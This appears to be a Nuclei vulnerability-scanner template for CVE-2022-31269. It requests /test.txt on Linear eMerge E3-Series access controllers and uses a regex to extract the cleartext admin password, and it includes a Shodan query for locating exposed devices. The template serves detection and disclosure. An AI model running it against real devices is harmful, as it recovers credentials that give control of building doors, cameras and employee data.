id: CVE-2022-31269

info:
  name: eMerge E3-Series - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
    Admin credentials are stored in clear text at the endpoint /test.txt (This occurs in situations where the default credentials admin:admin have beenchanged.) Allows an unauthenticated attacker to obtain adminicredentials, access the admin dashboard of Linear eMerge E3-Series devices, control entire building doors, cameras, elevator, etc... and access information about employees who can access the building and take control of the entire building.
  reference:
    - https://packetstormsecurity.com/files/167990/Nortek-Linear-eMerge-E3-Series-Credential-Disclosure.html
    - https://www.nortekcontrol.com/access-control/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31269
    - https://eg.linkedin.com/in/omar-1-hashem
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-31269
    cwe-id: CWE-798
  metadata:
    shodan-query: http.title:"Linear eMerge"
    verified: "true"
  tags: cve2022,emerge,exposure,packetstorm,cve

requests:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ID="
          - "Password="
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - Password='(.+?)'